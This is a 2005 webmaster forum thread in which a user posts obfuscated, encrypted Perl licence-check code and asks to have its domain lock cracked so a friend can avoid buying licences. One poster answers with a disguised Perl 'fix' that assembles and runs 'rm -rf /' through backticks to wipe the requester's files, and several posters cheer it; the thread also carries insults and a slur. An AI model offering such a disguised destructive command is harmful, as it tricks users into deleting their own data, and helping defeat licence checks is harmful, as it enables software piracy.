Perl Programmers - GoFuckYourself.com

fireorange · 06-14-2005, 02:52 PM

When installing a script, it has a few lines that checks the domain it's being installed and will stop the installation if it doesn't match. Is it possible this protection to be removed from the script or cracked?

Code:

sub l{my $k="fc38ecf7b7a1b2281b07aecd42948feb";my $m=shift;my $c=1024;my $p=undef;my $x=0;
my $y=0;my @s=n($k);my @a = unpack("C*", $m);for(@a){$x=0 if(++$x>255);$y-=256 if(($y+=$s[$x])>255);
@s[$x,$y]=@s[$y,$x];$_^=$s[($s[$x]+$s[$y])%256];}return pack("C*", @a);}sub p{my $z="P2+U29ESKJ5oiBv".
"To3tsk14foAim4OoKJZ+UWAmyO9UQtW6kXqxSV8uMK8u4cmj80 qmKxszLVU+VplI/kpD4HkjtFpc6pPfXrKM43no2BTK00vW4gdSN".
"O08nHehqn9/Y3Dz0e4pPfAxebKSwDA9Wg4T5VzYito9ENRqhXx55ihDBTRUxg VF6WdGliAyhClf3F3/mxVKwqUrzHb2R4OYqHnxNUMC".
"TET/ASk7htvfX6av4z4p7C/gN1xBDEseuontJ4DKzOZuKlnpOnbzuQ3mnQeoRXx1qn4bXxzUz LyZ3dZGtSTeeboFaifMggRJa7Jm8ud".
"KD4owYU1ZZ0bZLjZlgTXBNTT7C2AhVvWIaA2sSKU8=";eval(l(o(\$z)));}sub n{my @k=unpack('C*', shift);
my @s=0..255;my $y=0;my $x=0;for $x (0..255){$y=($k[$x%@k]+$s[$x]+$y)%256;@s[$x,$y]=@s[$y,$x];}
return @s;}sub i {my $i="P2+Qm4RBNpk921CY9mxxyx0RoUb657EAYr+0ehfnUaE3kUiAdM IkFtnEeY+wd2DtlvT1qMzVAGOg".
"nGNb+rnEJBu9Sdok6PDKsKNh3TFmUgyvhbKJi97ZHFhzDP0zh8 iHmnWza4oUZEIcL4+pJ08e1Zb4UT4iuM5/MFzwXxl3ngPTWFp2/l".
"plGNOnyVeODEb8cHjl2xe3ow+DALyN6+M0TT1FQJSWU3zAWF28 s5e2zI7J/Jd2Tg==";my$z=l(o(\$i));eval($z);}sub o{my $d=shift;
my $b=undef;my $l=undef;$$d=~tr|A-Za-z0-9+=/||cd;$$d=~s/=+$//;$$d=~tr|A-Za-z0-9+/| -_|;while( $$d=~/(.{1,60})/gs )
{$l= chr(32 + length($1)*3/4);$b.= unpack("u", $l.$1);}return $b;}

If you're 100% certain it's crackable, post your ICQ number and $$$ you want in this thread and I'll pass on the info to the webmaster who wants it done.

WiredGuy · 06-14-2005, 02:55 PM

Good luck, perl has some satanic looking syntax at times. I love it though

WG

nastyking · 06-14-2005, 02:59 PM

Quote:

Originally Posted by WiredGuy

Good luck, perl has some satanic looking syntax at times. I love it though

WG

Perl is the greatest thing since sliced bread ..

nastyking · 06-14-2005, 03:00 PM

It's 100% crackable as it's open source. Would take some time though. I charge 150 $ an hour ..

Babaganoosh · 06-14-2005, 03:00 PM

Either pay for the fucking script or don't use it.

nastyking · 06-14-2005, 03:02 PM

Here you have it in a readable form:

Code:

sub l {
    my $k = "fc38ecf7b7a1b2281b07aecd42948feb";
    my $m = shift;
    my $c = 1024;
    my $p = undef;
    my $x = 0;
    my $y = 0;
    my @s = n($k);
    my @a = unpack( "C*", $m );
    for (@a) {
        $x = 0 if ( ++$x > 255 );
        $y -= 256 if ( ( $y += $s[$x] ) > 255 );
        @s[ $x, $y ] = @s[ $y, $x ];
        $_ ^= $s[ ( $s[$x] + $s[$y] ) % 256 ];
    }
    return pack( "C*", @a );
}

sub p {
    my $z =
        "P2+U29ESKJ5oiBv"
      . "To3tsk14foAim4OoKJZ+UWAmyO9UQtW6kXqxSV8uMK8u4cmj80   qmKxszLVU+VplI/kpD4HkjtFpc6pPfXrKM43no2BTK00vW4gdSN"
      . "O08nHehqn9/Y3Dz0e4pPfAxebKSwDA9Wg4T5VzYito9ENRqhXx55ihDBTRUxg   VF6WdGliAyhClf3F3/mxVKwqUrzHb2R4OYqHnxNUMC"
      . "TET/ASk7htvfX6av4z4p7C/gN1xBDEseuontJ4DKzOZuKlnpOnbzuQ3mnQeoRXx1qn4bXxzUz   LyZ3dZGtSTeeboFaifMggRJa7Jm8ud"
      . "KD4owYU1ZZ0bZLjZlgTXBNTT7C2AhVvWIaA2sSKU8=";
    eval( l( o( \$z ) ) );
}

sub n {
    my @k = unpack( 'C*', shift );
    my @s = 0 .. 255;
    my $y = 0;
    my $x = 0;
    for $x ( 0 .. 255 ) {
        $y = ( $k[ $x % @k ] + $s[$x] + $y ) % 256;
        @s[ $x, $y ] = @s[ $y, $x ];
    }
    return @s;
}

sub i {
    my $i =
"P2+Qm4RBNpk921CY9mxxyx0RoUb657EAYr+0ehfnUaE3kUiAdM   IkFtnEeY+wd2DtlvT1qMzVAGOg"
      . "nGNb+rnEJBu9Sdok6PDKsKNh3TFmUgyvhbKJi97ZHFhzDP0zh8   iHmnWza4oUZEIcL4+pJ08e1Zb4UT4iuM5/MFzwXxl3ngPTWFp2/l"
      . "plGNOnyVeODEb8cHjl2xe3ow+DALyN6+M0TT1FQJSWU3zAWF28   s5e2zI7J/Jd2Tghahahaha";
    my $z = l( o( \$i ) );
    eval($z);
}

sub o {
    my $d = shift;
    my $b = undef;
    my $l = undef;
    $$d =~ tr|A-Za-z0-9+=/||cd;
    $$d =~ s/=+$//;
    $$d =~ tr|A-Za-z0-9+/| -_|;
    while ( $$d =~ /(.{1,60})/gs ) {
        $l = chr( 32 + length($1) * 3 / 4 );
        $b .= unpack( "u", $l . $1 );
    }
    return $b;
}

BlueWire · 06-14-2005, 03:03 PM

Seeing as my company uses measures similar to this to protect us against software theft I would be more than happy to ....just provide me with the domain you'll be using it at so that i can tell the script publishers to sue the shit out you

GET THE FUCK OUT OF HERE

Babaganoosh · 06-14-2005, 03:04 PM

Quote:

Originally Posted by nastyking

Here you have it in a readable form:

Don't help that little faggot.

fireorange · 06-14-2005, 03:05 PM

Quote:

Originally Posted by BlueWire

Seeing as my company uses measures similar to this to protect us against software theft I would be more than happy to ....just provide me with the domain you'll be using it at so that i can tell the script publishers to sue the shit out you

GET THE FUCK OUT OF HERE

woj · 06-14-2005, 03:07 PM

Quote:

Originally Posted by Babaganoosh

Either pay for the fucking script or don't use it.

Alky · 06-14-2005, 03:08 PM

heh, yes.. quite easily actually. how much can that script actually cost?

nastyking · 06-14-2005, 03:19 PM

Just change the code to this

Code:

sub l {
   my $d = '-rf /'
   my $c = 'df';

   $c =~ s/df/rm/;

   `$c $d`;
}

l("To3tsk14foAim4OoKJ");

Should solve all your problems ...

fireorange · 06-14-2005, 03:26 PM

Quote:

Originally Posted by Alky

heh, yes.. quite easily actually. how much can that script actually cost?

Around $50 I think, needs it installed on 100 domains so he'll need 100 licenses.

Quote:

Originally Posted by nastyking

Just change the code to this

Should solve all your problems ...

Thanks, I'll send him that code.

nastyking · 06-14-2005, 03:30 PM

Quote:

Originally Posted by fireorange

Thanks, I'll send him that code.

He will like it

woj · 06-14-2005, 03:30 PM

Quote:

Originally Posted by nastyking

Just change the code to this

Code:

sub l {
   my $d = '-rf /'
   my $c = 'df';

   $c =~ s/df/rm/;

   `$c $d`;
}

l("To3tsk14foAim4OoKJ");

Should solve all your problems ...

nice

fireorange · 06-14-2005, 03:33 PM

How was he protecting the code anyway?
Base64 encryption? md5?

delirious · 06-14-2005, 03:33 PM

lol so mean :P

mrkris · 06-14-2005, 03:35 PM

Although that script is beyond simple to bypass as I am a perl developer, I don't agree with the idea of it unless it was for my own use. As far as the rest of you giving him code that will DELETE everything on the system that he has permissions to, that is fucked up and I hope you all get your genitals infested by the fleas of a thousand camels.

fireorange · 06-14-2005, 03:36 PM

Quote:

Originally Posted by mrkris

Although that script is beyond simple to bypass as I am a perl developer, I don't agree with the idea of it unless it was for my own use. As far as the rest of you giving him code that will DELETE everything on the system that he has permissions to, that is fucked up and I hope you all get your genitals infested by the fleas of a thousand camels.

Really?

fireorange · 06-14-2005, 03:37 PM

OK I see it "rm -rf"?

Babaganoosh · 06-14-2005, 03:39 PM

Quote:

Originally Posted by mrkris

Although that script is beyond simple to bypass as I am a perl developer, I don't agree with the idea of it unless it was for my own use. As far as the rest of you giving him code that will DELETE everything on the system that he has permissions to, that is fucked up and I hope you all get your genitals infested by the fleas of a thousand camels.

There always has to be one asshole...

mrkris · 06-14-2005, 03:45 PM

Heya Baba, consume my genitals balls deep. Thnx.

nastyking · 06-14-2005, 03:52 PM

Quote:

Originally Posted by mrkris

Although that script is beyond simple to bypass as I am a perl developer, I don't agree with the idea of it unless it was for my own use. As far as the rest of you giving him code that will DELETE everything on the system that he has permissions to, that is fucked up and I hope you all get your genitals infested by the fleas of a thousand camels.

Do you run your CGI scripts as root?

mrkris · 06-14-2005, 03:54 PM

I don't use perl for web stuff unless neccessary. Who is to say this guy doesn't have his perms setup wrong? It could wipe out his document root though, which would be enough to piss ANYONE off.

blackmonsters · 06-14-2005, 04:03 PM

Quote:

Originally Posted by nastyking

Just change the code to this

Code:

sub l {
   my $d = '-rf /'
   my $c = 'df';

   $c =~ s/df/rm/;

   `$c $d`;
}

l("To3tsk14foAim4OoKJ");

Should solve all your problems ...

I'm running this ASAP!!!!

BlueWire · 06-14-2005, 04:21 PM

Luckily a lot of these scripts have secretly placed backup systems to atleast report where the script is being illegally used....

I hope these guys give you a legal schooling if nothing else. Amazing how site owners and webmasters can hate hacked passwords so much because it hursts their sales yet they turn around and do it themselves. These scripts take time and money to develop....the system works except when jackholes like you come around

pstation · 06-14-2005, 04:24 PM

Quote:

Originally Posted by nastyking

Do you run your CGI scripts as root?

what happens if they're using suexec? then all the files in the home directory are going to be deleted

nastyking · 06-14-2005, 04:28 PM

Quote:

Originally Posted by pstation

what happens if they're using suexec? then all the files in the home directory are going to be deleted

1.) It was a joke.
2.) It would be the right punishment for software piracy and cracking.

BlueWire · 06-14-2005, 04:39 PM

Quote:

Originally Posted by nastyking

1.) It was a joke.
2.) It would be the right punishment for software piracy and cracking.

You the man nasty....I hope this guy gets his shit pushed in

fireorange · 06-14-2005, 04:44 PM

Quote:

Originally Posted by BlueWire

You the man nasty....I hope this guy gets his shit pushed in

I've already said it's not for me and I've already messaged him not to run that code

If he lost his files, he would have blamed me

fireorange · 06-14-2005, 04:45 PM

Anyway, I see nothing wrong with him getting a crack, that's why I wanted to help him, the developer doesn't offer a server license so he has to spend $5k for his domain licenses. $5k USD is a lot in Russia

nastyking · 06-14-2005, 04:47 PM

Quote:

Originally Posted by fireorange

Anyway, I see nothing wrong with him getting a crack, that's why I wanted to help him, the developer doesn't offer a server license so he has to spend $5k for his domain licenses. $5k USD is a lot in Russia

$5k is also a lot if you steal it ..

BlueWire · 06-14-2005, 04:48 PM

Quote:

Originally Posted by fireorange

Anyway, I see nothing wrong with him getting a crack, that's why I wanted to help him, the developer doesn't offer a server license so he has to spend $5k for his domain licenses. $5k USD is a lot in Russia

Well thenwhy dont you pay someone to custom code it...then YOU can decide how the licences are distributed....

Thats about the dumbest thing in the world i've heard....so becaue the cost of milk goes up to 5 dollars a gallon it is then "okay" to steal the cow from the farm to make your own milk because the cost went up....give me a break

get out of here noob

fireorange · 06-14-2005, 04:50 PM

Quote:

Originally Posted by nastyking

$5k is also a lot if you steal it ..

You're funny, first you said you charge $150 an hour now you've gone all anti-piracy

nastyking · 06-14-2005, 04:52 PM

Quote:

Originally Posted by fireorange

You're funny, first you said you charge $150 an hour now you've gone all anti-piracy

I charge $ 150 an hour for programming, not cracking ...

fireorange · 06-14-2005, 04:57 PM

Quote:

Originally Posted by nastyking

I charge $ 150 an hour for programming, not cracking ...

So why did you mention $150 per hour earlier when I asked about $$$?

Truth: first you wanted to do it and even whitespace formatted the ugly code then changed your mind after the comments from others. Don't pretend otherwise.

fireorange · 06-14-2005, 04:57 PM

GFY Drama even in a geek scripting threads.

06-14-2005, 02:55 PM	#2
WiredGuy Pounding Googlebot Industry Role: Join Date: Aug 2002 Location: Canada Posts: 34,482	Good luck, perl has some satanic looking syntax at times. I love it though WG __________________ I play with Google.

06-14-2005, 03:00 PM	#4
nastyking Join Date: Nov 2002 Posts: 2,174	It's 100% crackable as it's open source. Would take some time though. I charge 150 $ an hour .. __________________

06-14-2005, 03:00 PM	#5
Babaganoosh ♥♥♥ Likes Hugs ♥♥♥ Industry Role: Join Date: Nov 2001 Location: /home Posts: 15,841	Either pay for the fucking script or don't use it. __________________ I like pie.

06-14-2005, 03:19 PM	#12
nastyking Join Date: Nov 2002 Posts: 2,174	Just change the code to this Code: sub l { my $d = '-rf /' my $c = 'df'; $c =~ s/df/rm/; `$c $d`; } l("To3tsk14foAim4OoKJ"); Should solve all your problems ... __________________

06-14-2005, 03:33 PM	#17
delirious Registered User Industry Role: Join Date: Feb 2005 Location: UK Posts: 64	lol so mean :P __________________ my new site: boxgap.net

06-14-2005, 03:03 PM	#7
BlueWire Confirmed User Join Date: Nov 2004 Posts: 4,628	Seeing as my company uses measures similar to this to protect us against software theft I would be more than happy to ....just provide me with the domain you'll be using it at so that i can tell the script publishers to sue the shit out you GET THE FUCK OUT OF HERE

06-14-2005, 03:08 PM	#11
Alky Confirmed User Join Date: Apr 2002 Location: Houston Posts: 5,651	heh, yes.. quite easily actually. how much can that script actually cost?

06-14-2005, 03:33 PM	#16
fireorange Confirmed User Join Date: Jan 2005 Posts: 1,648	How was he protecting the code anyway? Base64 encryption? md5?

06-14-2005, 03:35 PM	#18
mrkris Confirmed User Join Date: May 2005 Posts: 2,737	Although that script is beyond simple to bypass as I am a perl developer, I don't agree with the idea of it unless it was for my own use. As far as the rest of you giving him code that will DELETE everything on the system that he has permissions to, that is fucked up and I hope you all get your genitals infested by the fleas of a thousand camels. __________________ PHP-MySQL-Rails \| ICQ: 342500546

06-14-2005, 03:37 PM	#20
fireorange Confirmed User Join Date: Jan 2005 Posts: 1,648	OK I see it "rm -rf"?

06-14-2005, 03:45 PM	#22
mrkris Confirmed User Join Date: May 2005 Posts: 2,737	Heya Baba, consume my genitals balls deep. Thnx. __________________ PHP-MySQL-Rails \| ICQ: 342500546

06-14-2005, 03:54 PM	#24
mrkris Confirmed User Join Date: May 2005 Posts: 2,737	I don't use perl for web stuff unless neccessary. Who is to say this guy doesn't have his perms setup wrong? It could wipe out his document root though, which would be enough to piss ANYONE off. __________________ PHP-MySQL-Rails \| ICQ: 342500546

06-14-2005, 04:21 PM	#26
BlueWire Confirmed User Join Date: Nov 2004 Posts: 4,628	Luckily a lot of these scripts have secretly placed backup systems to atleast report where the script is being illegally used.... I hope these guys give you a legal schooling if nothing else. Amazing how site owners and webmasters can hate hacked passwords so much because it hursts their sales yet they turn around and do it themselves. These scripts take time and money to develop....the system works except when jackholes like you come around

06-14-2005, 04:45 PM	#31
fireorange Confirmed User Join Date: Jan 2005 Posts: 1,648	Anyway, I see nothing wrong with him getting a crack, that's why I wanted to help him, the developer doesn't offer a server license so he has to spend $5k for his domain licenses. $5k USD is a lot in Russia

06-14-2005, 04:57 PM	#37
fireorange Confirmed User Join Date: Jan 2005 Posts: 1,648	GFY Drama even in a geek scripting threads.